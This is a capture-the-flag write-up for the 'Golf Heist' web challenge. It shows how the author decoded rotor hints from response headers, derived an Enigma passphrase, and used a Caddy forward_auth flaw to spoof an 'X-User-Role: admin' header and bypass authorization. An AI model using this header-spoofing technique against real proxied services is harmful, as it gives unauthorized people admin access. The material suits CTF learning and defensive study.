$ / 4 min read/web

Golf Heist

Rotor settings leaked in 418 response headers, fed through a three-rotor Enigma to a passphrase — then the proxy trusts a role header it should never have read.

section
CSAW26
event
ctf.csaw.io ↗
category
web
status
● solved
target
https://golf-heist.ctf.csaw.io/

The caddy carries everything for them — keys, secrets, headers… and he doesn’t check what’s in the bag.

The pun is Caddy, the reverse proxy. The description tells you the bug class outright.

1. Find the right numbers

Three endpoints return 418 I'm a teapot — apparently useless, but each leaks a rotor setting in a response header:

Endpoint Header Rotor
/pro-shop/inventory/clubs X-Golf-Hint R1
/pro-shop/inventory/balls X-Golf-Hint R2
/pro-shop/inventory/bags X-Golf-Hint R3

The value is base64 of a zero-padded integer:

MDAwMDE4  ->  "000018"  ->  R1 = 18

Observed: R1=18, R2=14, R3=15. These are regenerated on each service start, so a solver must read them live.

2. Speak the right words

Those rotors drive a three-rotor Enigma (rotors I/II/III + reflector) over the fixed input G, O, L:

def enigma(r1, r2, r3):
    def f(c, w, o): return w[(ALPHA.index(c) + o) % 26]
    out = []
    for s in ["G", "O", "L"]:
        c = s
        c = f(c, W["I"],   r1 % 26)
        c = f(c, W["II"],  r2 % 26)
        c = f(c, W["III"], r3 % 26)
        c = W["REF"][ALPHA.index(c)]
        c = f(c, W["III"], (26 - r3 % 26) % 26)
        out.append(c)
    return out

→ W, O, H

The passphrase then indexes the word table at 0, 1, 0 — not 0,0,0:

PHRASE = [WORDS[l0][0], WORDS[l1][1], WORDS[l2][0]]

→ wedge out handicap

3. Let the caddy do the rest

/api/vault/admin-item validates the phrase, then reads the role straight off the request:

role = req.headers.get("X-User-Role", "")
if role.lower() == "admin":
    return {... "flag": FLAG ...}

The leaked Caddyfile (/api/engineer/caddyfile) explains why that is reachable:

:8000 {
    forward_auth 127.0.0.1:9091 {
        uri /auth
        copy_headers X-User-Id X-User-Role
    }
    reverse_proxy 127.0.0.1:9092
}

GHSA-7r4p-vjf4-gxv4 — Caddy’s forward_auth copy_headers copies those headers from the auth response but does not strip client-supplied ones first. A header the client sets survives to the backend.

POST /api/vault/admin-item
X-User-Role: admin
X-User-Id: caddy

phrase=wedge out handicap

Solver: ~/ctf/work/golf/solve.py — re-derives rotors and phrase live, so it works against a fresh instance.

## challenge files

34 files · 5.8 MB
  • .dockerignore
  • Dockerfile
  • README.md
  • app/
  • requirements.txt
  • solve.py
download .zip

flags redacted; flag images and local flag.txt files removed